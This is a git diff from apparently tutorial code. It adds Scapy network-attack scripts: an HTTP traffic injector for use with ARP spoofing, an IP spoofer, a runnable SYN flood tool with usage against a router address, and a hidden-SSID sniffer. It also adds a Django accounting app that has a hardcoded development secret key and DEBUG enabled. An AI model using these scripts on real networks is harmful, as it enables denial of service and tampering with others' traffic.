`iptables`: + ```bash + $ iptables -I FORWARD -j NFQUEUE --queue-num 0 + ``` + +When you're done, make sure you CTRL+C the ARP spoof script, disable IP forwarding and flushing the iptables: + ```bash + $ iptables --flush + ``` \ No newline at end of file diff --git a/scapy/http-code-injector/http_code_injector.py b/scapy/http-code-injector/http_code_injector.py new file mode 100644 index 00000000..900b3abd --- /dev/null +++ b/scapy/http-code-injector/http_code_injector.py @@ -0,0 +1,92 @@ +from scapy.all import * +from colorama import init, Fore +import netfilterqueue +import re + +# initialize colorama +init() + +# define colors +GREEN = Fore.GREEN +RESET = Fore.RESET + + +def process_packet(packet): + """ + This function is executed whenever a packet is sniffed + """ + # convert the netfilterqueue packet into Scapy packet + spacket = IP(packet.get_payload()) + if spacket.haslayer(Raw) and spacket.haslayer(TCP): + if spacket[TCP].dport == 80: + # HTTP request + print(f"[*] Detected HTTP Request from {spacket[IP].src} to {spacket[IP].dst}") + try: + load = spacket[Raw].load.decode() + except Exception as e: + # raw data cannot be decoded, apparently not HTML + # forward the packet exit the function + packet.accept() + return + # remove Accept-Encoding header from the HTTP request + new_load = re.sub(r"Accept-Encoding:.*\r\n", "", load) + # set the new data + spacket[Raw].load = new_load + # set IP length header, checksums of IP and TCP to None + # so Scapy will re-calculate them automatically + spacket[IP].len = None + spacket[IP].chksum = None + spacket[TCP].chksum = None + # set the modified Scapy packet back to the netfilterqueue packet + packet.set_payload(bytes(spacket)) + if spacket[TCP].sport == 80: + # HTTP response + print(f"[*] Detected HTTP Response from {spacket[IP].src} to {spacket[IP].dst}") + try: + load = spacket[Raw].load.decode() + except: + packet.accept() + return + # if you want to debug and see the HTML data + # print("Load:", load) + # Javascript code to add, feel free to add any Javascript code + added_text = "" + # or you can add HTML as well! + # added_text = "

HTML Injected successfully!

" + # calculate the length in bytes, each character corresponds to a byte + added_text_length = len(added_text) + # replace the tag with the added text plus + load = load.replace("", added_text + "") + if "Content-Length" in load: + # if Content-Length header is available + # get the old Content-Length value + content_length = int(re.search(r"Content-Length: (\d+)\r\n", load).group(1)) + # re-calculate the content length by adding the length of the injected code + new_content_length = content_length + added_text_length + # replace the new content length to the header + load = re.sub(r"Content-Length:.*\r\n", f"Content-Length: {new_content_length}\r\n", load) + # print a message if injected + if added_text in load: + print(f"{GREEN}[+] Successfully injected code to {spacket[IP].dst}{RESET}") + # if you want to debug and see the modified HTML data + # print("Load:", load) + # set the new data + spacket[Raw].load = load + # set IP length header, checksums of IP and TCP to None + # so Scapy will re-calculate them automatically + spacket[IP].len = None + spacket[IP].chksum = None + spacket[TCP].chksum = None + # set the modified Scapy packet back to the netfilterqueue packet + packet.set_payload(bytes(spacket)) + # accept all the packets + packet.accept() + + +if __name__ == "__main__": + # initialize the queue + queue = netfilterqueue.NetfilterQueue() + # bind the queue number 0 to the process_packet() function + queue.bind(0, process_packet) + # start the filter queue + queue.run() \ No newline at end of file diff --git a/scapy/http-code-injector/requirements.txt b/scapy/http-code-injector/requirements.txt new file mode 100644 index 00000000..adda4207 --- /dev/null +++ b/scapy/http-code-injector/requirements.txt @@ -0,0 +1,3 @@ +scapy==2.4.5 +netfilterqueue +colorama \ No newline at end of file diff --git a/scapy/ip-spoofer/README.md b/scapy/ip-spoofer/README.md new file mode 100644 index 00000000..7ff62c7d --- /dev/null +++ b/scapy/ip-spoofer/README.md @@ -0,0 +1,4 @@ +# [How to Perform IP Address Spoofing in Python](https://thepythoncode.com/article/make-an-ip-spoofer-in-python-using-scapy) +To run this: +- `pip install -r requirements.txt` +- `python ip_spoofer.py [target_ip]` \ No newline at end of file diff --git a/scapy/ip-spoofer/ip_spoofer.py b/scapy/ip-spoofer/ip_spoofer.py new file mode 100644 index 00000000..bcb8dc0c --- /dev/null +++ b/scapy/ip-spoofer/ip_spoofer.py @@ -0,0 +1,42 @@ +# Import the neccasary modules. +import sys +from scapy.all import sr, IP, ICMP +from faker import Faker +from colorama import Fore, init + +# Initialize colorama for colored console output. +init() +# Create a Faker object for generating fake data. +fake = Faker() + +# Function to generate a fake IPv4 address. +def generate_fake_ip(): + return fake.ipv4() + +# Function to craft and send an ICMP packet. +def craft_and_send_packet(source_ip, destination_ip): + # Craft an ICMP packet with the specified source and destination IP. + packet = IP(src=source_ip, dst=destination_ip) / ICMP() + # Send and receive the packet with a timeout. + answers, _ = sr(packet, verbose=0, timeout=5) + return answers + +# Function to display a summary of the sent and received packets. +def display_packet_summary(sent, received): + print(f"{Fore.GREEN}[+] Sent Packet: {sent.summary()}\n") + print(f"{Fore.MAGENTA}[+] Response: {received.summary()}") + +# Check if the correct number of command-line arguments is provided. +if len(sys.argv) != 2: + print(f"{Fore.RED}[-] Error! {Fore.GREEN} Please run as: {sys.argv[0]} ") + sys.exit(1) + +# Retrieve the destination IP from the command-line arguments. +destination_ip = sys.argv[1] +# Generate a fake source IP. +source_ip = generate_fake_ip() +# Craft and send the packet, and receive the response. +answers = craft_and_send_packet(source_ip, destination_ip) +# Display the packet summary for each sent and received pair. +for sent, received in answers: + display_packet_summary(sent, received) diff --git a/scapy/ip-spoofer/requirements.txt b/scapy/ip-spoofer/requirements.txt new file mode 100644 index 00000000..e9252b0c --- /dev/null +++ b/scapy/ip-spoofer/requirements.txt @@ -0,0 +1,3 @@ +scapy +faker +colorama \ No newline at end of file diff --git a/scapy/syn-flood/README.md b/scapy/syn-flood/README.md new file mode 100644 index 00000000..3a2aefe6 --- /dev/null +++ b/scapy/syn-flood/README.md @@ -0,0 +1,25 @@ +# [How to Make a SYN Flooding Attack in Python](https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Run help: + ``` + python syn_flood.py --help + ``` + **Output:** + ``` + usage: syn_flood.py [-h] [-p PORT] target_ip + + Simple SYN Flood Script + + positional arguments: + target_ip Target IP address (e.g router's IP) + + optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Destination port (the port of the target's machine + service, e.g 80 for HTTP, 22 for SSH and so on). + ``` +- To run this against your router's web interface that has the IP address of 192.168.1.1: + ``` + python syn_flood.py -p 80 192.168.1.1 + ``` \ No newline at end of file diff --git a/scapy/syn-flood/requirements.txt b/scapy/syn-flood/requirements.txt new file mode 100644 index 00000000..93b351f4 --- /dev/null +++ b/scapy/syn-flood/requirements.txt @@ -0,0 +1 @@ +scapy \ No newline at end of file diff --git a/scapy/syn-flood/syn_flood.py b/scapy/syn-flood/syn_flood.py new file mode 100644 index 00000000..4e657db4 --- /dev/null +++ b/scapy/syn-flood/syn_flood.py @@ -0,0 +1,27 @@ +from scapy.all import * +import argparse + +parser = argparse.ArgumentParser(description="Simple SYN Flood Script") +parser.add_argument("target_ip", help="Target IP address (e.g router's IP)") +parser.add_argument("-p", "--port", type=int, help="Destination port (the port of the target's machine service, \ +e.g 80 for HTTP, 22 for SSH and so on).") +# parse arguments from the command line +args = parser.parse_args() +# target IP address (should be a testing router/firewall) +target_ip = args.target_ip +# the target port u want to flood +target_port = args.port +# forge IP packet with target ip as the destination IP address +ip = IP(dst=target_ip) +# or if you want to perform IP Spoofing (will work as well) +# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip) +# forge a TCP SYN packet with a random source port +# and the target port as the destination port +tcp = TCP(sport=RandShort(), dport=target_port, flags="S") +# add some flooding data (1KB in this case, don't increase it too much, +# otherwise, it won't work.) +raw = Raw(b"X"*1024) +# stack up the layers +p = ip / tcp / raw +# send the constructed packet in a loop until CTRL+C is detected +send(p, loop=1, verbose=0) \ No newline at end of file diff --git a/scapy/uncover-hidden-wifis/README.md b/scapy/uncover-hidden-wifis/README.md new file mode 100644 index 00000000..dcd094d6 --- /dev/null +++ b/scapy/uncover-hidden-wifis/README.md @@ -0,0 +1 @@ +# [How to See Hidden Wi-Fi Networks in Python](https://thepythoncode.com/article/uncovering-hidden-ssids-with-scapy-in-python) \ No newline at end of file diff --git a/scapy/uncover-hidden-wifis/requirements.txt b/scapy/uncover-hidden-wifis/requirements.txt new file mode 100644 index 00000000..9661693f --- /dev/null +++ b/scapy/uncover-hidden-wifis/requirements.txt @@ -0,0 +1,2 @@ +scapy +colorama \ No newline at end of file diff --git a/scapy/uncover-hidden-wifis/view_hidden_ssids.py b/scapy/uncover-hidden-wifis/view_hidden_ssids.py new file mode 100644 index 00000000..cd05db05 --- /dev/null +++ b/scapy/uncover-hidden-wifis/view_hidden_ssids.py @@ -0,0 +1,58 @@ +# Operating system functions. +import os +# Import all functions from scapy library. +from scapy.all import * +# Import Fore from colorama for colored console output, and init for colorama initialization. +from colorama import Fore, init +# Initialize colorama +init() + +# Set to store unique SSIDs. +seen_ssids = set() + + +# Function to set the wireless adapter to monitor mode. +def set_monitor_mode(interface): + # Bring the interface down. + os.system(f'ifconfig {interface} down') + # Set the mode to monitor. + os.system(f'iwconfig {interface} mode monitor') + # Bring the interface back up. + os.system(f'ifconfig {interface} up') + + +# Function to process Wi-Fi packets. +def process_wifi_packet(packet): + # Check if the packet is a Probe Request, Probe Response, or Association Request. + if packet.haslayer(Dot11ProbeReq) or packet.haslayer(Dot11ProbeResp) or packet.haslayer(Dot11AssoReq): + # Extract SSID and BSSID from the packet. + ssid = packet.info.decode('utf-8', errors='ignore') + bssid = packet.addr3 + + # Check if the SSID is not empty and not in the set of seen SSIDs, and if the BSSID is not the broadcast/multicast address. + if ssid and ssid not in seen_ssids and bssid.lower() != 'ff:ff:ff:ff:ff:ff': + # Add the SSID to the set. + seen_ssids.add(ssid) + # Print the identified SSID and BSSID in green. + print(f"{Fore.GREEN}[+] SSID: {ssid} ----> BSSID: {bssid}") + + +# Main function. +def main(): + # Define the wireless interface. + wireless_interface = 'wlan0' + + # Set the wireless adapter to monitor mode. + set_monitor_mode(wireless_interface) + + # Print a message indicating that sniffing is starting on the specified interface in magenta. + print(f"{Fore.MAGENTA}[+] Sniffing on interface: {wireless_interface}") + + # Start sniffing Wi-Fi packets on the specified interface, calling process_wifi_packet for each packet, and disabling packet storage + sniff(iface=wireless_interface, prn=process_wifi_packet, store=0) + + +# Check if the script is being run as the main program. +if __name__ == "__main__": + # Call the main function. + main() diff --git a/web-programming/accounting-app/README.md b/web-programming/accounting-app/README.md new file mode 100644 index 00000000..9e1aad77 --- /dev/null +++ b/web-programming/accounting-app/README.md @@ -0,0 +1 @@ +# [How to Make an Accounting App with Django in Python](https://www.thepythoncode.com/article/make-an-accounting-app-with-django-in-python) \ No newline at end of file diff --git a/web-programming/accounting-app/app/__init__.py b/web-programming/accounting-app/app/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/accounting-app/app/__pycache__/__init__.cpython-310.pyc b/web-programming/accounting-app/app/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..ab23c9ab Binary files /dev/null and b/web-programming/accounting-app/app/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/accounting-app/app/__pycache__/__init__.cpython-38.pyc b/web-programming/accounting-app/app/__pycache__/__init__.cpython-38.pyc new file mode 100644 index 00000000..95c6533b Binary files /dev/null and b/web-programming/accounting-app/app/__pycache__/__init__.cpython-38.pyc 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a/web-programming/accounting-app/app/admin.py b/web-programming/accounting-app/app/admin.py new file mode 100644 index 00000000..3468186a --- /dev/null +++ b/web-programming/accounting-app/app/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +from .models import Portfolio, Transaction + +# Register your models here. +admin.site.register(Portfolio) +admin.site.register(Transaction) \ No newline at end of file diff --git a/web-programming/accounting-app/app/apps.py b/web-programming/accounting-app/app/apps.py new file mode 100644 index 00000000..ed327d22 --- /dev/null +++ b/web-programming/accounting-app/app/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class AppConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'app' diff --git a/web-programming/accounting-app/app/forms.py b/web-programming/accounting-app/app/forms.py new file mode 100644 index 00000000..fbe0eb0f --- /dev/null +++ b/web-programming/accounting-app/app/forms.py @@ -0,0 +1,4 @@ +from django import forms + +class createjournal(forms.Form): + journal_name = forms.CharField(label='Journal Name',max_length=30) diff --git a/web-programming/accounting-app/app/models.py b/web-programming/accounting-app/app/models.py new file mode 100644 index 00000000..a41b4fed --- /dev/null +++ b/web-programming/accounting-app/app/models.py @@ -0,0 +1,21 @@ +from django.db import models +from django.contrib.auth.models import User + +# Create your models here. + +class Portfolio(models.Model): + user = models.ForeignKey(User, on_delete=models.CASCADE, null=True) + name = models.CharField(max_length=30) + + def __str__(self): + return self.name + +class Transaction(models.Model): + journal_list = models.ForeignKey(Portfolio,on_delete=models.CASCADE) + trans_name = models.CharField(max_length=30) + trans_type = models.CharField(max_length=3) + amount = models.IntegerField() + date = models.DateField() + + def __str__(self): + return self.trans_name \ No newline at end of file diff --git a/web-programming/accounting-app/app/templates/app/auth_base.html b/web-programming/accounting-app/app/templates/app/auth_base.html new file mode 100644 index 00000000..7e922f77 --- /dev/null +++ b/web-programming/accounting-app/app/templates/app/auth_base.html @@ -0,0 +1,14 @@ + + + + {% block title %}{% endblock %} + + + + + +
+ {% block content %}{% endblock %} +
+ + \ No newline at end of file diff --git a/web-programming/accounting-app/app/templates/app/base.html b/web-programming/accounting-app/app/templates/app/base.html new file mode 100644 index 00000000..a4aded26 --- /dev/null +++ b/web-programming/accounting-app/app/templates/app/base.html @@ -0,0 +1,32 @@ + + + + {% block title %}{% endblock %} + + + + + + + +
+ + {{request.user}} +
+ +
+ {% block content %}{% endblock %} +
+ \ No newline at end of file diff --git a/web-programming/accounting-app/app/templates/app/home.html b/web-programming/accounting-app/app/templates/app/home.html new file mode 100644 index 00000000..cb8af88f --- /dev/null +++ b/web-programming/accounting-app/app/templates/app/home.html @@ -0,0 +1,23 @@ +{% extends "app/base.html" %} + +{% block title %}Home{% endblock %} + +{% block content %} +
+

MY PORTFOLIO LIST

+ + {% for pfl in portfolio.portfolio_set.all %} + + + + + {% endfor %} +
+

+ {{pfl.name}} +

+ 		+ +
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/accounting-app/app/templates/app/journal.html b/web-programming/accounting-app/app/templates/app/journal.html new file mode 100644 index 00000000..ff6271a2 --- /dev/null +++ b/web-programming/accounting-app/app/templates/app/journal.html @@ -0,0 +1,100 @@ +{% extends 'app/base.html' %} +{% load app_extras %} + +{% block title %}Details{% endblock %} + +{% block content %} +
+

{{pfl.name}}'s Portfolio

+ + {% journal_table pfl as jt %} +
+ + + + + + + + + + + {% for transaction in jt.tbl %} + + {% for items in transaction %} + + {% endfor %} + + {% endfor %} + + + + + + + +
DateTransactionDebitCredit
{{items}}
Total:{{jt.dt}}{{jt.ct}}
+
+ +
+
+ {% csrf_token %} + +
+ + +
+ +
+ $ + + .00 +
+ +
+ + +
+ +
+ $ + + .00 +
+ +
+ +
+ +
+ +
+ +
+
+ +
+ +
+ +
+{% endblock %} + diff --git a/web-programming/accounting-app/app/templates/app/portfolio_confirm_delete.html b/web-programming/accounting-app/app/templates/app/portfolio_confirm_delete.html new file mode 100644 index 00000000..d1820398 --- /dev/null +++ b/web-programming/accounting-app/app/templates/app/portfolio_confirm_delete.html @@ -0,0 +1,14 @@ +{% extends 'app/base.html' %} + +{% block title %}Delete Confirmation{% endblock %} + +{% block content %} +
+

Delete Confirmation

+
+ {% csrf_token %} +

Are you sure you want to delete "{{object}}"?

+ +
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/accounting-app/app/templates/app/portfolio_create_form.html b/web-programming/accounting-app/app/templates/app/portfolio_create_form.html new file mode 100644 index 00000000..0a8fef3e --- /dev/null +++ b/web-programming/accounting-app/app/templates/app/portfolio_create_form.html @@ -0,0 +1,16 @@ +{% extends "app/base.html" %} + +{% block title %}Portfolio Create{% endblock %} + +{% block content %} +
+

Create New Portfolio

+
+ {% csrf_token %} +
+ + +
+
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/accounting-app/app/templates/app/signin.html b/web-programming/accounting-app/app/templates/app/signin.html new file mode 100644 index 00000000..befffac8 --- /dev/null +++ b/web-programming/accounting-app/app/templates/app/signin.html @@ -0,0 +1,27 @@ +{% extends 'app/auth_base.html' %} + +{% block title %}Sign in{% endblock %} + +{% block content %} +

Log In

+ + {% for message in messages %} +

{{message}}

+ {% endfor %} + +
+ {% csrf_token %} + {% for field in form %} +
+ +

{{field}}

+
+ {% endfor %} +
+ +
+
+
+ +
+{% endblock %} \ No newline at end of file diff --git a/web-programming/accounting-app/app/templates/app/signup.html b/web-programming/accounting-app/app/templates/app/signup.html new file mode 100644 index 00000000..1f358e3d --- /dev/null +++ b/web-programming/accounting-app/app/templates/app/signup.html @@ -0,0 +1,32 @@ +{% extends 'app/auth_base.html' %} + +{% block title %}Sign up{% endblock %} + +{% block content %} +

Sign Up

+ + {% for message in messages %} +

{{message}}

+ {% endfor %} + +
+ {% csrf_token %} + {% for field in form %} +
+ +

{{field}}

+
+ {% endfor %} +
+ Your password must be 8-20 characters long, contain letters, numbers, and special characters. +
+
+ +
+
+
+ +
+{% endblock %} + + diff --git a/web-programming/accounting-app/app/templates/app/trialbalance.html b/web-programming/accounting-app/app/templates/app/trialbalance.html new file mode 100644 index 00000000..a639aead --- /dev/null +++ b/web-programming/accounting-app/app/templates/app/trialbalance.html @@ -0,0 +1,98 @@ +{% extends "app/base.html" %} +{% load app_extras %} + +{% block title %}Trial Balance{% endblock %} + +{% block content %} +
+

{{name}}'s Trial Balance

+ + + + + + + {% for trans in tb %} + + {% for item in trans %} + + {% endfor %} + + {% endfor %} +
TransactionDebitCredit
{{item}}
+ +
+

{{name}}'s T Accounts

+
+ +
+ +
+ +
+ + + +{% endblock %} \ No newline at end of file diff --git a/web-programming/accounting-app/app/templatetags/__init__.py b/web-programming/accounting-app/app/templatetags/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/accounting-app/app/templatetags/__pycache__/__init__.cpython-310.pyc b/web-programming/accounting-app/app/templatetags/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..4f119c66 Binary files /dev/null and b/web-programming/accounting-app/app/templatetags/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/accounting-app/app/templatetags/__pycache__/__init__.cpython-38.pyc b/web-programming/accounting-app/app/templatetags/__pycache__/__init__.cpython-38.pyc new file mode 100644 index 00000000..e387c2de Binary files /dev/null and b/web-programming/accounting-app/app/templatetags/__pycache__/__init__.cpython-38.pyc differ diff --git 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b/web-programming/accounting-app/app/templatetags/__pycache__/app_extras.cpython-38.pyc differ diff --git a/web-programming/accounting-app/app/templatetags/__pycache__/app_extras.cpython-39.pyc b/web-programming/accounting-app/app/templatetags/__pycache__/app_extras.cpython-39.pyc new file mode 100644 index 00000000..a1d6c486 Binary files /dev/null and b/web-programming/accounting-app/app/templatetags/__pycache__/app_extras.cpython-39.pyc differ diff --git a/web-programming/accounting-app/app/templatetags/app_extras.py b/web-programming/accounting-app/app/templatetags/app_extras.py new file mode 100644 index 00000000..fc962f2c --- /dev/null +++ b/web-programming/accounting-app/app/templatetags/app_extras.py @@ -0,0 +1,18 @@ +from django import template + +register = template.Library() + +@register.simple_tag(takes_context=True) +def journal_table(context, pfl): + request = context.get('request') + trans_table = [] + debit_total, credit_total = 0, 0 + for trans in pfl.transaction_set.all(): + if trans.trans_type == 'dbt': + trans_table.append((trans.date, trans.trans_name, trans.amount, '')) + debit_total += trans.amount + else: + trans_table.append((trans.date, trans.trans_name, '', trans.amount)) + credit_total += trans.amount + context = {'tbl': trans_table, 'dt': debit_total, 'ct': credit_total} + return context \ No newline at end of file diff --git a/web-programming/accounting-app/app/tests.py b/web-programming/accounting-app/app/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/web-programming/accounting-app/app/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/web-programming/accounting-app/app/urls.py b/web-programming/accounting-app/app/urls.py new file mode 100644 index 00000000..d4f02143 --- /dev/null +++ b/web-programming/accounting-app/app/urls.py @@ -0,0 +1,14 @@ +from django.urls import path +from .views import UserSignup, UserLogin, PortfolioCreate, PortfolioList, Journal, PortfolioDelete, TrialBalance +from django.contrib.auth.views import LogoutView + +urlpatterns = [ + path('signup/', UserSignup.as_view(), name='signup'), + path('login/', UserLogin.as_view(), name='login'), + path('logout/', LogoutView.as_view(next_page='login'), name='logout'), + path('pfl-create/', PortfolioCreate.as_view(), name='pfl-create'), + path('', PortfolioList.as_view(), name='pfl-list'), + path('pfl-journal/pk=', Journal.as_view(), name='pfl-detail'), + path('pfl-delete/pk=', PortfolioDelete.as_view(), name='pfl-delete'), + path('pfl-tb/pk=', TrialBalance.as_view(), name='trial-balance') +] \ No newline at end of file diff --git a/web-programming/accounting-app/app/views.py b/web-programming/accounting-app/app/views.py new file mode 100644 index 00000000..764ad953 --- /dev/null +++ b/web-programming/accounting-app/app/views.py @@ -0,0 +1,141 @@ +from django.shortcuts import render,redirect + +from django.views.generic import View +from django.views.generic.detail import DetailView +from django.views.generic.edit import DeleteView, FormView +from django.urls import reverse_lazy + +from django.contrib.auth.models import User +from django.contrib.auth.forms import UserCreationForm +from django.contrib.auth import login +from django.contrib.auth.mixins import LoginRequiredMixin +from django.contrib.auth.views import LoginView + +from .models import Portfolio +from json import dumps + +# Create your views here. +class UserSignup(FormView): + template_name = 'app/signup.html' + form_class = UserCreationForm + redirect_authenticated_user = True + success_url = reverse_lazy('pfl-list') + + + def form_valid(self, form): + user = form.save() + if user is not None: + login(self.request, user) + return super(UserSignup, self).form_valid(form) + + def get(self, *args, **kwargs): + if self.request.user.is_authenticated: + return redirect('pfl-list') + return super(UserSignup, self).get(*args, **kwargs) + + +class UserLogin(LoginView): + template_name = 'app/signin.html' + fields = '__all__' + redirect_authenticated_user = True + + def get_success_url(https://github.com/self): + return reverse_lazy('pfl-list') + + +class PortfolioList(LoginRequiredMixin,View): + def get(self,request): + account = User.objects.get(username=request.user) + context = {'portfolio':account} + return render(request,'app/home.html',context) + + +class PortfolioCreate(LoginRequiredMixin,View): + def get(self,request): + return render(request,'app/portfolio_create_form.html') + + def post(self,request): + user = User.objects.get(username=request.user) + pfl_name = request.POST.get('portfolio_name') + user.portfolio_set.create(name=pfl_name) + my_object = user.portfolio_set.get(name=pfl_name).id + return redirect('pfl-detail', my_object) + + +class Journal(LoginRequiredMixin,DetailView): + model = Portfolio + template_name = 'app/journal.html' + context_object_name = 'pfl' + + def get(self,*args,**kwargs): + return super(Journal, self).get(*args,**kwargs) + + def post(self,*args,**kwargs): + return super(Journal, self).get(*args,**kwargs) + + def dispatch(self,request,pk,*args,**kwargs): + dbt_trans, dbt_amt = request.POST.get('dbt'), request.POST.get('dbt-amt') + cdt_trans, cdt_amt = request.POST.get('cdt'), request.POST.get('cdt-amt') + trans_date = request.POST.get('trans-date') + pfl = self.model.objects.get(id=pk) + if self.request.POST.get('save'): + try: + if dbt_trans and dbt_amt and cdt_trans and cdt_amt != None: + dbt_whole_trans = pfl.transaction_set.create(trans_name=dbt_trans, trans_type='dbt', amount=dbt_amt, date=trans_date) + cdt_whole_trans = pfl.transaction_set.create(trans_name=cdt_trans, trans_type='cdt', amount=cdt_amt, date=trans_date) + dbt_whole_trans.save() + cdt_whole_trans.save() + print(True) + except: + return super(Journal, self).dispatch(request,*args,**kwargs) + return super(Journal, self).dispatch(request,*args,**kwargs) + + +class PortfolioDelete(LoginRequiredMixin,DeleteView): + model = Portfolio + success_url = reverse_lazy('pfl-list') + + +def trial_balance_computer(pk): + pfl = Portfolio.objects.get(id=pk) + trans_total = {} + tb_table = [] + tb_total = [0, 0] + for trans in pfl.transaction_set.all(): + if trans.trans_name not in trans_total: + trans_total[trans.trans_name] = 0 + if trans.trans_type == 'dbt': + trans_total[trans.trans_name] += trans.amount + else: + trans_total[trans.trans_name] -= trans.amount + for x in trans_total: + if trans_total[x] > 0: + tb_table.append((x, trans_total[x], '')) + tb_total[0] += trans_total[x] + elif trans_total[x] < 0: + tb_table.append((x, '', trans_total[x])) + tb_total[1] += trans_total[x] + tb_table.append(('Total:', tb_total[0], tb_total[1])) + return pfl.name, tb_table + + +def t_accounts(pk): + pfl = Portfolio.objects.get(id=pk) + ledger = {} + for trans in pfl.transaction_set.all(): + if trans.trans_name not in ledger: + ledger[trans.trans_name] = [] + if trans.trans_type == 'dbt': + ledger[trans.trans_name].append(trans.amount) + else: + ledger[trans.trans_name].append(-trans.amount) + return ledger + + +class TrialBalance(LoginRequiredMixin, View): + def get(self, request, pk): + tb = trial_balance_computer(pk) + ta = t_accounts(pk) + ta_JSON = dumps(ta) + context = {'pk':pk, 'name':tb[0], 'tb':tb[1], 'ta':ta_JSON} + return render(request, 'app/trialbalance.html', context) diff --git a/web-programming/accounting-app/base/__init__.py b/web-programming/accounting-app/base/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/accounting-app/base/asgi.py b/web-programming/accounting-app/base/asgi.py new file mode 100644 index 00000000..104b4f24 --- /dev/null +++ b/web-programming/accounting-app/base/asgi.py @@ -0,0 +1,16 @@ +""" +ASGI config for base project. + +It exposes the ASGI callable as a module-level variable named ``application``. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/howto/deployment/asgi/ +""" + +import os + +from django.core.asgi import get_asgi_application + +os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'base.settings') + +application = get_asgi_application() diff --git a/web-programming/accounting-app/base/settings.py b/web-programming/accounting-app/base/settings.py new file mode 100644 index 00000000..00f9dd56 --- /dev/null +++ b/web-programming/accounting-app/base/settings.py @@ -0,0 +1,141 @@ +""" +Django settings for base project. + +Generated by 'django-admin startproject' using Django 4.1.3. + +For more information on this file, see +https://docs.djangoproject.com/en/4.1/topics/settings/ + +For the full list of settings and their values, see +https://docs.djangoproject.com/en/4.1/ref/settings/ +""" + +from pathlib import Path +import os + +# Build paths inside the project like this: BASE_DIR / 'subdir'. +BASE_DIR = Path(__file__).resolve().parent.parent + + +# Quick-start development settings - unsuitable for production +# See https://docs.djangoproject.com/en/4.1/howto/deployment/checklist/ + +# SECURITY WARNING: keep the secret key used in production secret! +SECRET_KEY = 'django-insecure-3#tbv9*j+t3g&a*9rrpowc(dp_2=opb8c#n(#t252f(6@r0g9f' + +# SECURITY WARNING: don't run with debug turned on in production! +DEBUG = True + +ALLOWED_HOSTS = [] + + +# Application definition + +INSTALLED_APPS = [ + 'django.contrib.admin', + 'django.contrib.auth', + 'django.contrib.contenttypes', + 'django.contrib.sessions', + 'django.contrib.messages', + 'django.contrib.staticfiles', + 'app.apps.AppConfig', +] + +MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] + +ROOT_URLCONF = 'base.urls' + +TEMPLATES = [ + { + 'BACKEND': 'django.template.backends.django.DjangoTemplates', + 'DIRS': [], + 'APP_DIRS': True, + 'OPTIONS': { + 'context_processors': [ + 'django.template.context_processors.debug', + 'django.template.context_processors.request', + 'django.contrib.auth.context_processors.auth', + 'django.contrib.messages.context_processors.messages', + ], + }, + }, +] + +WSGI_APPLICATION = 'base.wsgi.application' + + +# Database +# https://docs.djangoproject.com/en/4.1/ref/settings/#databases + +DATABASES = { + 'default': { + 'ENGINE': 'django.db.backends.sqlite3', + 'NAME': BASE_DIR / 'db.sqlite3', + } +} + + +# Password validation +# https://docs.djangoproject.com/en/4.1/ref/settings/#auth-password-validators + +AUTH_PASSWORD_VALIDATORS = [ + { + 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', + }, + { + 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', + }, +] + + +# Internationalization +# https://docs.djangoproject.com/en/4.1/topics/i18n/ + +LANGUAGE_CODE = 'en-us' + +TIME_ZONE = 'UTC' + +USE_I18N = True + +USE_TZ = True + +LOGIN_URL = 'login' + +# Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/1.9/howto/static-files/ +STATIC_URL = '/static/' + +# STATIC_ROOT = os.path.join(BASE_DIR, 'app/static') + +# STATICFILES_DIRS = ( +# os.path.join(BASE_DIR, 'static'), +# ) + +# STATICFILES_FINDERS = [ +# 'compressor.finders.CompressorFinder', +# ] + +# COMPRESS_PRECOMPILERS = ( +# ('text/x-scss', 'django_libsass.SassCompiler'), +# ) + +# Default primary key field type +# https://docs.djangoproject.com/en/4.1/ref/settings/#default-auto-field + +DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' + +DATE_INPUT_FORMATS = ['%d-%m-%Y'] diff --git a/web-programming/accounting-app/base/urls.py b/web-programming/accounting-app/base/urls.py new file mode 100644 index 00000000..3926108d --- /dev/null +++ b/web-programming/accounting-app/base/urls.py @@ -0,0 +1,22 @@ +"""base URL Configuration + +The `urlpatterns` list routes URLs to views. For more information please see: + https://docs.djangoproject.com/en/4.1/topics/http/urls/ +Examples: +Function views + 1. Add an import: from my_app import views + 2. Add a URL to urlpatterns: path('', views.home, name='home') +Class-based views + 1. Add an import: from other_app.views import Home + 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') +Including another URLconf + 1. Import the include() function: from django.urls import include, path + 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) +""" +from django.contrib import admin +from django.urls import path, include + +urlpatterns = [ + path('admin/', admin.site.urls), + path('', include('app.urls')), +] diff --git a/web-programming/accounting-app/base/wsgi.py 